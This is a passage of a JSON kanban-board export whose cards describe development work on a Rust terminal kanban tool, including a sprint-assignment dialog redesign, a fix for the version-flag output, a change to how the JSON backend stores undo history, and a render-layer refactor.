        "description": "# Sprint assignment dialog: group sprints by status with completed sprints in separate section\n\n## Status: ✅ Implemented — PR #245\n\nPR: https://github.com/fulsomenko/kanban/pull/245\nBranch: `KAN-406/sprint-assignment-dialog-group-sprints-by-status-with-completed-sprints-in-separate-section`\nPlan file: `/home/max/.claude/plans/checkout-339-and-plan-parsed-pony.md`\n\n---\n\n## Goal (original)\n\nThe sprint assignment dialog showed all assignable sprints in a flat list, filtered to `Planning + Active` only by `Sprint::assignable`. This blocked valid retrospective workflows (\"this bug was actually fixed in sprint 12 — let me record that\") and gave no visual distinction between historical and currently-active sprints.\n\n## Final shipped behaviour\n\nThe dialog now renders two headed sections:\n\n```\n  (None)                  ← unassign option\nActive / Planned          ← yellow-bold header\n  > sprint-15/yarara\n    sprint-14/sphinx-centered\nCompleted / Ended         ← yellow-bold header\n    sprint-13/a-catchy-spring   (green — Completed)\n    sprint-12/moonshot          (green — Completed)\n    sprint-11/a-new-year        (red   — Ended: Active w/ end_date in past)\n    sprint-10/a-merry-christmas (green — Completed)\n```\n\n- **Active / Planned** = `Planning` status OR (`Active` AND `end_date` is `None` or in the future). Default white style.\n- **Completed / Ended** = `Completed` status (green) OR `Active` with `end_date <= now` (red, \"ended without formal completion\").\n- **Cancelled** sprints stay hidden — out of scope for this card.\n- Section headers appear only when their section is non-empty.\n- `j`/`k` skip headers and clamp at section boundaries. Selection starts at the `(None)` entry.\n- The dialog scrolls (`Paragraph::scroll`) to keep the selected entry on-screen when the entry list overflows the viewport.\n- The \"current sprint\" marker now uses a status-aware rule:\n  - In the top section: bold green + ` (current)` suffix (existing behaviour).\n  - In the bottom section: ` (current)` suffix only — the green/red status colour wins, no bold-current override. This lets a card assigned to a completed sprint still read as \"completed\" first.\n\n## Path chosen\n\nWhen the user pivoted from \"Cancelled = ended\" to \"ended = `end_date` in the past, regardless of status\", we settled on:\n\n- **Cancelled stays hidden** (option (i) from the design discussion). Cleanest scope; the green/red distinction the user asked for is purely about Completed-vs-overdue-Active.\n- **Status colour wins over current-marker** in the bottom section. Reasoning: the `(current)` suffix already identifies the card's current assignment; the colour is the more important signal in this dialog.\n\n## Implementation summary\n\n### Domain layer — `crates/kanban-domain/src/sprint.rs`\n\n- **Refactored** `Sprint::is_ended` from `&self -> bool` (which used `Utc::now()` internally) to `&self, now: DateTime<Utc> -> bool`. Three call sites updated to pass `chrono::Utc::now()`:\n  - `crates/kanban-tui/src/ui/sprint_detail.rs:83`\n  - `crates/kanban-tui/src/ui/board_detail.rs:182`\n  - `crates/kanban-tui/src/app/mod.rs:1472`\n- **Added** `Sprint::for_assignment_dialog(sprints: &[Sprint], board_id: Uuid, now: DateTime<Utc>) -> (Vec<&Sprint>, Vec<&Sprint>)`. Returns `(active_or_planned, completed_or_ended)`. Each section sorted by `sprint_number` descending. Cancelled and other-board sprints excluded.\n- **Removed** the now-unused `Sprint::assignable`. Fully superseded.\n\n### TUI builder — `crates/kanban-tui/src/components/sprint_assign_list.rs` (new)\n\nPure-logic module the dialog renders/handlers consume. Re-exported via `crates/kanban-tui/src/components/mod.rs`.\n\n```rust\npub enum SprintAssignEntry<'a> {\n    Header(&'static str),\n    None,\n    ActiveOrPlanned(&'a Sprint),\n    Completed(&'a Sprint),\n    Ended(&'a Sprint),\n}\n\npub const ACTIVE_PLANNED_HEADER:  &str = \"Active / Planned\";\npub const COMPLETED_ENDED_HEADER: &str = \"Completed / Ended\";\n\npub fn build_entries<'a>(sprints, board_id, now) -> Vec<SprintAssignEntry<'a>>;\npub fn next_selectable(entries, cur)  -> Option<usize>;\npub fn prev_selectable(entries, cur)  -> Option<usize>;\npub fn sprint_id_of(entry)            -> Option<Uuid>;\npub fn scroll_offset_to_show(selected, total, height) -> usize;\n```\n\n`scroll_offset_to_show` is stateless — given (selected, total, height), it returns the row offset that keeps `selected` inside the viewport. No persisted scroll state.\n\n### Single-card render — `crates/kanban-tui/src/components/selection_dialog.rs`\n\n`SprintAssignDialog::render` iterates `build_entries(...)`, dispatches each entry to `render_entry_line`, then applies `Paragraph::new(lines).scroll((scroll_offset_to_show(...) as u16, 0))`. `options_count` returns `entries.len()` so the surrounding selection plumbing keeps working.\n\n### Multi-card render — `crates/kanban-tui/src/ui/dialogs/cards.rs`\n\n`render_assign_multiple_cards_popup` got the same treatment for symmetric behaviour when multi-selecting cards and bulk-assigning to a sprint.\n\n### Handlers — `crates/kanban-tui/src/handlers/popup_handlers.rs`\n\nBoth `handle_assign_card_to_sprint_popup` and `handle_assign_multiple_cards_to_sprint_popup`:\n\n- `j`/`k` call `next_selectable / prev_selectable` and write the result back to `dialog_input.sprint_assign_selection`.\n- `Enter` matches on `entries[selection_idx]`:\n  - `None` → existing unassign command.\n  - `ActiveOrPlanned(_) | Completed(_) | Ended(_)` → existing `AssignCardsToSprint` with `sprint_id_of(entry)`.\n  - `Header(_)` → unreachable (selection never points at a header).\n- Both handlers share a small `sprint_assign_entries(&self) -> Vec<SprintAssignEntry<'_>>` helper that builds the entry vec from current `(board, sprints)` state.\n\n### Open-dialog gate — `crates/kanban-tui/src/handlers/card_handlers.rs`\n\nReplaced the `Sprint::assignable(...).len() > 0` precheck with an `entries.iter().any(|e| matches!(e, ActiveOrPlanned | Completed | Ended))` check. The dialog is now reachable on boards that have only Completed sprints (the retrospective case).\n\n### Current-sprint lookup — `crates/kanban-tui/src/app/mod.rs:2143`\n\n`get_current_sprint_selection_index` rewritten: scans `build_entries(...)` and returns the first index whose `sprint_id_of(entry) == Some(card_sprint_id)`. Falls through to `0` (the `(None)` entry) when not found.\n\n## Test coverage\n\n- **11 inline domain tests** in `crates/kanban-domain/src/sprint.rs` covering `is_ended` semantics, the bucket logic across all four sprint states, sort ordering, and other-board exclusion.\n- **16 inline TUI builder tests** in `crates/kanban-tui/src/components/sprint_assign_list.rs`:\n  - `build_entries` always emits `(None)` at index 0; section headers appear only when populated; Completed and Ended share the lower section.\n  - `next_selectable`/`prev_selectable` skip headers and clamp at section boundaries.\n  - `sprint_id_of` for each variant.\n  - `scroll_offset_to_show`: list-fits / selected-in-first-viewport / selected-below-viewport / clamps-at-last-full-viewport / zero-height / empty-list.\n- **9 integration tests** in `crates/kanban-tui/tests/sprint_assign_dialog_tests.rs`:\n  - Active / Planned and Completed / Ended headers render conditionally.\n  - Completed renders green, Ended renders red (cell-level `Color` inspection).\n  - `j` skips the Active / Planned header.\n  - End-to-end assigning to a Completed sprint via the single-card handler.\n  - Same for Ended.\n  - Same for the bulk-assign handler.\n  - Current-sprint marker preserves status colour in the lower section.\n  - Scroll: 30 planning sprints, navigate to the oldest, rendered output still contains its name.\n- `cargo clippy --all-targets --workspace -- -D warnings` clean.\n- `cargo fmt --check` clean.\n\n## Cross-references / supersedes\n\n- **KAN-1** (filter out completed from sprint assign) — superseded by this work; intent inverted (group, don't hide).\n- **KAN-118** (unfilter tasks list on completed sprint) — partial overlap; close pending verification.\n- **KAN-140** (filter out completed sprints from assign list) — superseded.\n- **KAN-1**'s scope (and the dropped \"Cancelled excluded for now\" semantics) leaves the Cancelled-bucket question open as a follow-up.\n\n## Commit log on the branch\n\n```\ne737c09 refactor(domain): remove unused Sprint::assignable and run cargo fmt\n11a0882 feat(tui): scroll sprint assign dialog so the selected entry stays visible\nd13d4f9 test(tui): assert card state via ctx.get_card after sprint assign handler\n0bb5a60 feat(tui): map current sprint to its sprint_assign_list entry index\nb541d1e feat(tui): include completed and ended sprints in sprint-assign dialog open gate\nfecce66 feat(tui): wire sprint assign handlers to skip-aware nav and entry-typed enter\n6279c73 feat(tui): render multi-card sprint assign dialog with grouped sections\n42d8144 feat(tui): render single-card sprint assign dialog with grouped sections\n9c1774f test(tui): add failing integration tests for sprint assign dialog\n4cd5e80 feat(tui): implement sprint_assign_list build_entries and nav helpers\n5dac94a test(tui): add failing tests and stub sprint_assign_list module\n633b16e feat(domain): implement Sprint::for_assignment_dialog\n4dab89b test(domain): add failing tests for Sprint::for_assignment_dialog and is_ended\nff10e76 refactor(domain): inject now into Sprint::is_ended for testability\n006743b chore: add changeset for KAN-406\n```",
        "due_date": null,
        "id": "83199428-d1b3-4cd8-99c9-78b87078d30a",
        "points": null,
        "position": 151,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Sprint assignment dialog: group sprints by status with completed sprints in separate section",
        "updated_at": "2026-05-08T00:44:07.871030153Z"
      },
      {
        "card_number": 346,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-14T00:29:57.513603165Z",
        "description": "In migrate() (sqlite_store.rs), the SELECT from board_prefix_counters is executed unconditionally within the version < 2 branch. If the table were missing (e.g. partial prior run), this surfaces a confusing error. Consider a pre-flight table-existence check or wrapping the query in a let _ = ... to produce a cleaner fallback path.",
        "due_date": null,
        "id": "3520f5fa-3e13-444b-bfcc-ca896eaefcb3",
        "points": null,
        "position": 152,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245116760Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126563245Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245117182Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Guard SQLite migration board_prefix_counters query against missing table",
        "updated_at": "2026-05-07T22:06:15.245117457Z"
      },
      {
        "card_number": 418,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T15:13:14.159744912Z",
        "created_at": "2026-05-10T15:03:05.184738297Z",
        "description": "## Reproduction\n\nToday \\`kanban -V\\` (and \\`kanban --version\\`) prints:\n\n```\n$ kanban -V\nError: kanban 0.4.0\ncommit: 7b56f00e9dff6f7e9a738c9e0eae4d8e1caef7dc\n                                ← extra blank line\n$\n```\n\nTwo distinct bugs:\n\n1. **\\`Error:\\` prefix** — version is being treated as a fatal error and\n   sent to stderr with exit code 1.\n2. **Trailing blank line** — output ends with two newlines instead of one.\n\nExpected:\n\n```\n$ kanban -V\nkanban 0.4.0\ncommit: 7b56f00e9dff6f7e9a738c9e0eae4d8e1caef7dc\n$\n```\n\n…on stdout, exit code 0, single trailing newline.\n\n## Root cause\n\n### 1. \\`Error:\\` prefix\n\n\\`crates/kanban-cli/src/main.rs:6-12\\`:\n\n\\`\\`\\`rust\n#[tokio::main]\nasync fn main() {\n    if let Err(e) = CliApp::with_defaults().run().await {\n        eprintln!(\\\"Error: {e}\\\");\n        std::process::exit(1);\n    }\n}\n\\`\\`\\`\n\n\\`crates/kanban-cli/src/app.rs:96\\`:\n\n\\`\\`\\`rust\nlet matches = cmd.try_get_matches_from_mut(args)?;\n\\`\\`\\`\n\nWhen the user passes \\`-V\\` / \\`--version\\`, clap returns a\n\\`clap::Error\\` with \\`ErrorKind::DisplayVersion\\`.\n\\`try_get_matches_from_mut\\` surfaces it as \\`Err\\`; the \\`?\\` in\n\\`parse_cli\\` re-wraps it via \\`anyhow\\`; \\`main\\`'s generic error\nhandler prints \\`\\\"Error: {e}\\\"\\` to **stderr** with exit code **1**.\n\nThe same pitfall affects \\`--help\\` (\\`ErrorKind::DisplayHelp\\`).\n\n### 2. Extra trailing newline\n\n\\`crates/kanban-core/src/version.rs:4-8\\`:\n\n\\`\\`\\`rust\npub const VERSION: &str = concat!(\n    env!(\\\"CARGO_PKG_VERSION\\\"),\n    \\\"\\\\ncommit: \\\",\n    env!(\\\"GIT_COMMIT_HASH\\\")\n);\n\\`\\`\\`\n\nclap's \\`Display\\` for \\`DisplayVersion\\` already appends \\`\\\\n\\`. The\n\\`eprintln!\\` in \\`main.rs:9\\` then appends **another** \\`\\\\n\\`,\nproducing the trailing blank line. Both bugs collapse to the same root\ncause: clap's exit-style errors should never reach \\`eprintln!(\\\"Error:\n{e}\\\")\\`.\n\n## Proposed fix\n\n\\`\\`\\`rust\n// crates/kanban-cli/src/app.rs\nlet matches = cmd\n    .try_get_matches_from_mut(args)\n    .unwrap_or_else(|e| e.exit());   // help/version → stdout, exit 0\n\\`\\`\\`\n\n…or, to preserve the \\`anyhow::Result\\` return type for \\`parse_cli\\`,\npattern-match on \\`e.kind()\\` and call \\`e.exit()\\` only for\n\\`DisplayHelp\\` / \\`DisplayVersion\\`. Both shapes resolve both bugs\nbecause \\`clap::Error::exit\\`:\n\n- writes to **stdout** for \\`DisplayHelp\\` / \\`DisplayVersion\\` (no\n  \\`Error:\\` prefix),\n- uses \\`print!\\` (single trailing newline, no double newline),\n- exits **0** for help/version, with the appropriate code for real\n  errors,\n- routes real errors (\\`InvalidValue\\`, \\`UnknownArgument\\`, …) to\n  stderr with exit code 2.\n\n## Build-path constraint\n\n**Principle**: when \\`GIT_COMMIT_HASH\\` is unset (or \\`git rev-parse\nHEAD\\` fails), the \\`commit:\\` line is **omitted** from the output\nentirely. This is already correctly implemented via the\n\\`has_git_commit\\` cfg gate in \\`crates/kanban-core/build.rs:9-31\\`\nand the matching \\`#[cfg(has_git_commit)]\\` /\n\\`#[cfg(not(has_git_commit))]\\` branches in\n\\`crates/kanban-core/src/version.rs\\`. The clap-error fix must not break\nthis gate — both \\`VERSION\\` variants must continue to render correctly.\n\n| # | Path | \\`GIT_COMMIT_HASH\\` source | \\`has_git_commit\\` | \\`commit:\\` line |\n|---|------|----------------------------|--------------------|------------------|\n| 1 | Cargo dev build inside the repo | \\`build.rs\\` falls back to \\`git rev-parse HEAD\\` | yes | included |\n| 2 | Local Nix flake (\\`~/fulsomenko/kanban/default.nix:31-33\\`) | \\`preBuild\\` exports from \\`flake.nix\\`'s \\`self.rev\\` | yes | included |\n| 3 | Nixpkgs (\\`~/fulsomenko/nixpkgs/pkgs/by-name/ka/kanban/package.nix:19\\`) | \\`env.GIT_COMMIT_HASH = finalAttrs.src.rev\\` | yes | included |\n| 4 | **Unpinned build** — e.g. \\`cargo install kanban\\` from crates.io, source extract with no git tree | env unset + \\`git rev-parse\\` fails → fallback \\`\\\"unknown\\\"\\` | **no** | **omitted** |\n\nSo \\`-V\\` output should be \\`kanban X.Y.Z\\\\ncommit: <hash>\\\\n\\` in\npaths 1–3 and just \\`kanban X.Y.Z\\\\n\\` in path 4 — both with a single\ntrailing newline and no \\`Error:\\` prefix.\n\n## Acceptance criteria\n\n- \\`kanban -V\\` writes to **stdout**, exits **0**, prints\n  \\`kanban X.Y.Z[\\\\ncommit: <hash>]\\\\n\\` with a single trailing newline.\n- \\`kanban --version\\` behaves identically.\n- \\`kanban --help\\` writes to stdout, exits 0, no \\`Error:\\` prefix.\n- Invalid args (e.g. \\`kanban --no-such-flag\\`) still route through the\n  existing \\`eprintln!(\\\"Error: {e}\\\")\\` path with non-zero exit.\n- All four build paths in the table above produce clean output. In path\n  4 the \\`commit:\\` line is omitted entirely.\n- Integration test asserting on the format (probably in\n  \\`crates/kanban-cli/tests/cli_integration.rs\\` using \\`assert_cmd\\`)\n  for both stdout content and exit code, against both VERSION variants\n  (with and without the commit line).\n\n## Discovery\n\nKAN-3 (\\`add -v flag\\`) is the original feature request that introduced\n\\`-V\\` / \\`--version\\` — already **Done**, empty description, unrelated\nto this regression. KAN-38 (\\`branch name doesnt reflected the used\nversion\\`) is a separate concern about branch-name generation, not\nversion output. No existing card covers the bugs reported here.\n\n\n## Review notes (PR #250)\n\nSix review items raised on PR #250. Status of each:\n\n### 1. \\`e.exit()\\` is \\`-> !\\` — \\`parse_cli\\`'s Result is now leakier than it looks\n\n**Status: not addressed (theoretical).**\n\nAfter the fix, the only path that can return \\`Err\\` from \\`parse_cli\\`\nis \\`Cli::from_arg_matches(&matches)?\\` (clap-derive mismatch — basically\nimpossible in practice). Every other clap error terminates the process\ndirectly via \\`std::process::exit\\`.\n\nConsequence: any in-process embedder of \\`CliApp::run_with_args\\` loses\nthe ability to handle a malformed arg list gracefully; they get a hard\n\\`exit(2)\\` mid-test. Today there are no such embedders (all integration\ntests spawn subprocesses via \\`assert_cmd\\`), so this is purely\ntheoretical. If it ever matters, options are:\n\n- Document on \\`run_with_args\\`'s docstring that this entry point may\n  \\`exit()\\` for invalid args.\n- Pattern-match \\`e.kind()\\` and convert real-error kinds back into\n  \\`anyhow::Error\\` so the Result remains the source of truth for\n  in-process callers.\n\n### 2. Comment reads as if it explains a \\`match\\` that isn't there\n\n**Status: addressed in commit \\`16ce3a5\\`.**\n\nComment now reads \"\\`e.exit()\\` dispatches per-kind internally — no\n\\`match e.kind()\\` needed here\" so a reader doesn't go hunting for a\nmatch arm that isn't there.\n\n### 3. Failure messages on the long-version test are sparser\n\n**Status: addressed in commit \\`16ce3a5\\`.**\n\n\\`test_long_version_flag_writes_clean_to_stdout\\` now has the same\n\\`\"got: {:?}\"\\` failure annotations as the short-version test for\nstderr emptiness, the \\`\"kanban \"\\` prefix, the \\`\"Error:\"\\`\nnon-prefix, and the trailing-newline shape.\n\n### 4. \\`kanban_no_config\\` is duplicated between two test modules\n\n**Status: not addressed.**\n\n\\`mod no_file_tests\\` (KAN-332) and \\`mod version_and_help_tests\\`\n(this PR) each define a byte-identical \\`kanban_no_config(dir)\\`\nhelper. Five lines of duplication. Could lift to module level and\nhave both inner modules \\`use super::kanban_no_config;\\`. Defensible\neither way — keeping each test module self-contained vs. DRY. Held\nbecause (a) only two call sites today, (b) collapses naturally when a\nthird module appears.\n\n### 5. \\`--help\\` text contains \\`Usage:\\` — assertion format-coupled\n\n**Status: not addressed (acceptable risk).**\n\n\\`assert!(stdout.contains(\"Usage:\"))\\` is fragile in the sense that a\nclap major bump could re-case it to \\`usage:\\` or \\`USAGE:\\`. The\nproject pins clap and \"Usage:\" has been the convention for years, so\nthe assertion is meaningful as written. Any clap upgrade should re-run\nthis test as part of the upgrade checklist.\n\n### 6. No explicit assertion on exit code 0\n\n**Status: not addressed (low value).**\n\n\\`.success()\\` from assert_cmd accepts any successful exit on the\nhost platform. Could tighten to \\`.success().code(0)\\` for explicit\nverification, but \\`success()\\` is the codebase convention and the\ndistinction is academic on Unix where success means exit 0. Held;\nwould just add visual noise.\n\n## Summary\n\n- Addressed in this branch: **#2, #3** (commit \\`16ce3a5\\`).\n- Held as acceptable: **#4, #5, #6** (style / theoretical).\n- Held with documented option: **#1** (in-process embedder concern;\n  no consumers today).",
        "due_date": null,
        "id": "ce17b2f6-4ac8-4475-9e9e-1fe5bf3572cb",
        "points": null,
        "position": 152,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Fix `kanban -V` output: drop `Error:` prefix and stray trailing newline",
        "updated_at": "2026-05-10T15:22:02.322817396Z"
      },
      {
        "card_number": 347,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-15T20:36:34.914020997Z",
        "description": "Current model is compile-time library composition (CliApp::register_backend). Explore whether we can achieve 'install kanban, drop plugin, done' without requiring users to recompile or own a forked binary. Consider: inventory crate (linker-section compile-time registration, still requires recompile), libloading .so approach (fragile, no stable Rust ABI), or alternative packaging strategies. Determine what the Rust community recommends and whether this is worth pursuing vs accepting compile-time composition as the ceiling.",
        "due_date": null,
        "id": "8e079dfb-55e7-4269-8ea5-bf907dea7077",
        "points": null,
        "position": 153,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245118707Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126630038Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245119250Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Investigate true runtime plugin system for storage backends",
        "updated_at": "2026-05-07T22:06:15.245119594Z"
      },
      {
        "card_number": 405,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T15:13:19.476281187Z",
        "created_at": "2026-05-07T22:19:05.918005257Z",
        "description": "## Problem\n\nThe JSON backend stores its undo command log inside `kanban.json` — the user's data file — and never clears it between sessions. This is a design mishap with two compounding issues:\n\n### 1. Cross-session replay is inherently broken for JSON\n\n`JsonBackend::supports_indexed_snapshots()` returns `false`, so undo works by replaying all stored commands against the baseline snapshot. This replay is only safe within a single session, where the baseline and the commands form a consistent chain. Across sessions, entities referenced by old commands (cards, columns, sprints) may have been deleted, archived, or renamed — making replay fail with errors like 'card not found' (see KAN-404).\n\nSQLite does not have this problem: it stores indexed snapshots alongside commands, so undo loads a snapshot directly without replay. Cross-session undo on SQLite is safe. On JSON it is not — and the current architecture gives it no path to become safe.\n\n### 2. The command log does not belong in the data file\n\n`kanban.json` is a human-readable, hand-editable data file. Embedding session-operational state (the undo command log) into it:\n\n- Bloats the file with history that is not user data\n- Surprises users who inspect or hand-edit the file\n- Means external edits can silently invalidate the command log\n- Couples an ephemeral concern (in-session undo) to a durable one (persistent data)\n\n## Proposed Design\n\n**Undo on the JSON backend should be in-session only.** The command log should be treated as ephemeral:\n\n- On **write**: strip the command log from the JSON before saving to disk\n- On **read**: start with an empty command log regardless of what is in the file\n- On **session start**: `initialize_undo_state()` finds count=0, sets baseline to current snapshot, cursor=0 — clean slate every session\n\nThis means pressing undo immediately after opening a JSON file does nothing, which is the correct and unsurprising behaviour.\n\n## Relationship to KAN-404\n\nKAN-404 fixes the crash symptom by clearing stale commands at session start and adding a rollback guard. This card addresses the underlying design: the command log should never reach the file in the first place. KAN-404 is a safe immediate fix; this card is the proper long-term resolution.\n\n## Impact\n\n- Removes the undo crash (KAN-404) at the source rather than with a guard\n- Keeps `kanban.json` as a clean data file\n- Makes the JSON and SQLite backends honest about their undo capabilities: SQLite offers cross-session undo, JSON does not",
        "due_date": null,
        "id": "3cacc9c5-6679-4571-8d19-157ac04e32f8",
        "points": null,
        "position": 153,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Design: JSON backend should not persist command log between sessions",
        "updated_at": "2026-05-10T15:13:19.476281282Z"
      },
      {
        "card_number": 349,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T04:46:32.614217937Z",
        "description": "## Context\n\nDuring KAN-348 (refactor storage to on-demand querying), we discovered that the TUI render path was calling `app.ctx.boards()`, `app.ctx.sprints()`, `app.ctx.columns()`, `app.ctx.cards()`, and `app.ctx.graph()` directly. On the SQLite backend, each of these runs SQL via `tokio::task::block_in_place` + `block_on`, causing 50-100ms jitter per frame during card scrolling.\n\nWe fixed this ad-hoc by adding fields to `ViewState` (`boards`, `sprints`, `columns`, `cards_by_id`) and populating them in `refresh_view()`. But the pattern is manual and convention-based — nothing prevents a new render function from calling `app.ctx.*()` and reintroducing the problem.\n\n## Problem\n\n`ViewState` now mixes two concerns:\n\n1. **Layout/strategy state**: `strategy`, `card_list_component`, `viewport_height`, `last_frame_area`\n2. **Domain data snapshot**: `boards`, `sprints`, `columns`, `cards_by_id`\n\nThe domain snapshot fields were added one-by-one without a unifying abstraction. Adding a new entity type means:\n- Adding another field to `ViewState`\n- Adding another line in `refresh_view()`\n- Hunting down render-path calls that still hit `ctx`\n\n## Remaining offenders\n\nThese render-path calls still hit `app.ctx` directly:\n\n```rust\n// card_detail.rs:69 — cards by index (active_card_index is positional)\nif let Some(card) = app.ctx.cards().get(card_idx) {\n\n// card_detail.rs:76-77 — dependency graph\nlet parents = app.ctx.graph().cards.parents(card_id);\nlet children = app.ctx.graph().cards.children(card_id);\n\n// settings_view.rs:171 — instance ID\nlet instance_id = app.ctx.store().instance_id().to_string();\n```\n\nThe `card_detail.rs` offenders exist because `active_card_index` stores a positional index into the ordered cards list, which doesn't map to `HashMap<Uuid, Card>`. The graph query has no view-layer equivalent yet.\n\n## Proposed abstraction\n\n### 1. Extract `ViewSnapshot` from `ViewState`\n\n```rust\n// app/view.rs\npub struct ViewSnapshot {\n    pub boards: Vec<Board>,\n    pub sprints: Vec<Sprint>,\n    pub columns: Vec<Column>,\n    pub cards_by_id: HashMap<Uuid, Card>,\n    pub graph: DependencyGraph,\n}\n\nimpl ViewSnapshot {\n    pub fn from_context(ctx: &TuiContext, mode: AppMode) -> Self {\n        let boards = ctx.boards();\n        let sprints = ctx.sprints();\n        let columns = ctx.columns();\n        let cards = if mode == AppMode::ArchivedCardsView {\n            ctx.archived_cards().into_iter().map(|dc| dc.card).collect()\n        } else {\n            ctx.cards()\n        };\n        let graph = ctx.graph();\n\n        Self {\n            boards,\n            sprints,\n            columns,\n            cards_by_id: cards.into_iter().map(|c| (c.id, c)).collect(),\n            graph,\n        }\n    }\n\n    pub fn get_card(&self, id: Uuid) -> Option<&Card> {\n        self.cards_by_id.get(&id)\n    }\n\n    pub fn board_columns(&self, board_id: Uuid) -> Vec<&Column> {\n        let mut cols: Vec<_> = self.columns.iter()\n            .filter(|c| c.board_id == board_id)\n            .collect();\n        cols.sort_by_key(|c| c.position);\n        cols\n    }\n}\n\npub struct ViewState {\n    pub strategy: Box<dyn ViewStrategy>,\n    pub card_list_component: CardListComponent,\n    pub viewport_height: usize,\n    pub last_frame_area: Rect,\n    pub snapshot: ViewSnapshot,  // single field replaces 4 separate fields\n}\n```\n\n### 2. Make render functions take `&ViewSnapshot` instead of `&App`\n\nThis makes the boundary compile-enforced — render functions literally cannot reach `ctx`:\n\n```rust\n// Before: render has access to everything\nfn render_projects_panel(app: &App, frame: &mut Frame, area: Rect) {\n    let boards = &app.view.boards; // works, but app.ctx.boards() also compiles\n}\n\n// After: render only sees view data\nfn render_projects_panel(\n    snapshot: &ViewSnapshot,\n    selection: &SelectionHub,\n    focus: &FocusState,\n    frame: &mut Frame,\n    area: Rect,\n) {\n    let boards = &snapshot.boards; // only option — ctx is not reachable\n}\n```\n\n### 3. Fix `active_card_index` to use card ID\n\nReplace the positional index with a card ID so it works with HashMap lookups:\n\n```rust\n// selection.rs — before\npub active_card_index: Option<usize>,\n\n// selection.rs — after\npub active_card_id: Option<Uuid>,\n```\n\nThis eliminates the last reason `card_detail.rs` needs to call `ctx.cards()`.\n\n### 4. Refresh cycle\n\n```rust\n// app/mod.rs\npub fn refresh_view(&mut self) {\n    self.view.snapshot = ViewSnapshot::from_context(&self.ctx, self.mode);\n    // ... strategy refresh using snapshot data\n}\n```\n\n## Scope\n\nThis is a **render-path only** refactoring. The handler/event path can continue using `app.ctx` for mutations. The boundary is:\n\n- **Handlers** (key events, commands): read/write via `app.ctx` (mutations trigger `refresh_view()`)\n- **Render** (frame drawing): read-only via `app.view.snapshot` (no `ctx` access)\n\n## Files to change\n\n| File | Change |\n|------|--------|\n| `app/view.rs` | Extract `ViewSnapshot`, update `ViewState` |\n| `app/mod.rs` | `refresh_view()` creates `ViewSnapshot::from_context()`, update `get_card_by_id` |\n| `app/selection.rs` | `active_card_index: Option<usize>` → `active_card_id: Option<Uuid>` |\n| `render_strategy.rs` | Receive `&ViewSnapshot` instead of `&App` |\n| `ui/main_view.rs` | Use snapshot |\n| `ui/board_detail.rs` | Use snapshot |\n| `ui/card_detail.rs` | Use snapshot + `active_card_id` |\n| `ui/sprint_detail.rs` | Use snapshot |\n| `ui/dialogs/*.rs` | Use snapshot |\n| `components/relationship_popup.rs` | Use snapshot |\n| `components/relationship_section.rs` | Use snapshot |\n| All handlers in `handlers/` | Update `active_card_index` → `active_card_id` assignments |\n\n## Verification\n\n- `cargo check` — no `app.ctx` calls remain in any `ui/` or `render_strategy.rs` file\n- `cargo test` — all existing tests pass\n- `rg 'app\\.ctx\\.' crates/kanban-tui/src/ui/ crates/kanban-tui/src/render_strategy.rs` returns zero results\n- Manual test: scroll cards on both JSON and SQLite backends, verify identical performance",
        "due_date": null,
        "id": "058ce1a4-52e0-4a7c-b2b5-7fdff7620940",
        "points": 5,
        "position": 154,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245121910Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126590925Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245122676Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Introduce ViewSnapshot abstraction to enforce render/service boundary",
        "updated_at": "2026-05-07T22:06:15.245123Z"
      },
      {
        "card_number": 404,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T15:13:22.450625183Z",
        "created_at": "2026-05-07T22:07:44.891151702Z",
